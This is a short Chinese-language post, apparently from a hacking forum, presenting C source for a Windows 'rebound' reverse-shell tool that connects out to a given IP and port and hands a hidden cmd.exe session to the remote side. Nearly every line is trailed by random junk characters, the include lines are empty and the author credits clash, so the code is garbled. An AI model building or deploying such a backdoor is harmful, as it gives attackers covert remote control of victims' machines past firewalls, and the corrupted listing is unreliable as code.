这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tOj5b7'ui
)DW".c
/* ============================== O" [#g
Rebound port in Windows NT E_z,%aD[
By wind,2006/7 K(NP%:
===============================*/ tuo'Uk)
#include aO:A pOAO
#include H!y-o'Z
{Z$]Rj
#pragma comment(lib,"wsock32.lib") d)%l-jj9,
I=E\=UTG,5
void OutputShell(); 0KZsWlD:L
SOCKET sClient; cnDBT3$~Z
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ac>GF
VM3)L>x]/
void main(int argc,char **argv) JS >"j d#
{ p:!FB8
WSADATA stWsaData; ]#rmk!VT?
int nRet; >ZAn2s
SOCKADDR_IN stSaiClient,stSaiServer; H[/^&1P
kgX"I ?>d
if(argc != 3)
-,"eN}P^
{ \7(OFT\u:
printf("Useage:\n\rRebound DestIP DestPort\n"); e A9r M:
return; UXS+GAWU
} I\82_t8
,ce$y4%(
WSAStartup(MAKEWORD(2,2),&stWsaData); Nu; 9
y|#Fu
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aXD|XE%
1Dm$:),^T}
stSaiClient.sin_family = AF_INET; <
$rXQ
stSaiClient.sin_port = htons(0); U&gl$/4U@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ; JHf0
p#dYNed]'
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s.!gsCQme
{ 8rjiW#
printf("Bind Socket Failed!\n"); e({-.ra
return; sGJZG
} rdm&YM`J
eOd'i{f@F
stSaiServer.sin_family = AF_INET; *i7|~q/u
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ){i
9,u")
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]*AQT7PH
(DKQHL;
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cfW;gFf
{ LZ~}*}jy
printf("Connect Error!"); %t,Fxj4F
return; &o)eRcwH`
} M[ ,:NE4H
OutputShell(); D +9l$**a
} h!]=)7x;
O>2i)M-h9x
void OutputShell() e:WKb9nT
{ Md1ePp]
char szBuff[1024]; Q2xzux~T
SECURITY_ATTRIBUTES stSecurityAttributes; s\
YHT.O?
OSVERSIONINFO stOsversionInfo; 69{q*qCW
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ksli-Px
STARTUPINFO stStartupInfo; )Es|EPCx!
char *szShell; l>jNBxB|/A
PROCESS_INFORMATION stProcessInformation; [Xo[J?w],2
unsigned long lBytesRead; 7 +kU 8}
&\M<>>IB
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :pgpE0
: ]~G9]R`
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @L5s.]vg=
stSecurityAttributes.lpSecurityDescriptor = 0; |]x>|Z?/u
stSecurityAttributes.bInheritHandle = TRUE; \zyvu7YA
{3*Zx"e![
:5BVVa0oR
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); di]TS9&9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #\$AB_[ot>
o)
,1R:
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); WBY_%RTx
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; % (x9~"
stStartupInfo.wShowWindow = SW_HIDE; phqmr5s^H
stStartupInfo.hStdInput = hReadPipe; #hF(`oX}4K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K)F6TvWv
X_2pC|C
GetVersionEx(&stOsversionInfo); 3/0E9'
2N[/Cc2Tg/
switch(stOsversionInfo.dwPlatformId) ,\=,,1_
{ ='<789wT
case 1: =/MA`>
szShell = "command.com"; )lrmP(C*.a
break; .h[yw$z6
default: S!+}\*
szShell = "cmd.exe"; x /E<@?*:
break; B
42t
} ![j?/376
M.?[Xpa
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5v,_ Hgh
G#nZ%qQ:I
send(sClient,szMsg,77,0); ?]PE!7H
while(1) 'Uu!K!
{ 1j?+rs+o-
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XsbYWJdds
if(lBytesRead) 9vI<\
Xa
{ 25{-GaB
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6tF_u D
send(sClient,szBuff,lBytesRead,0); N|\Q:<!2_w
} @p ZjJ<9QM
else |Q?^B a
{ 7oV$TAAf
lBytesRead=recv(sClient,szBuff,1024,0); _kXq0~
if(lBytesRead<=0) break; " `FcW
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W!t =9i
} Ra/Pk G-7
} 9wbj}tN\z
?!HU$>
return; #gsJ
tT9
}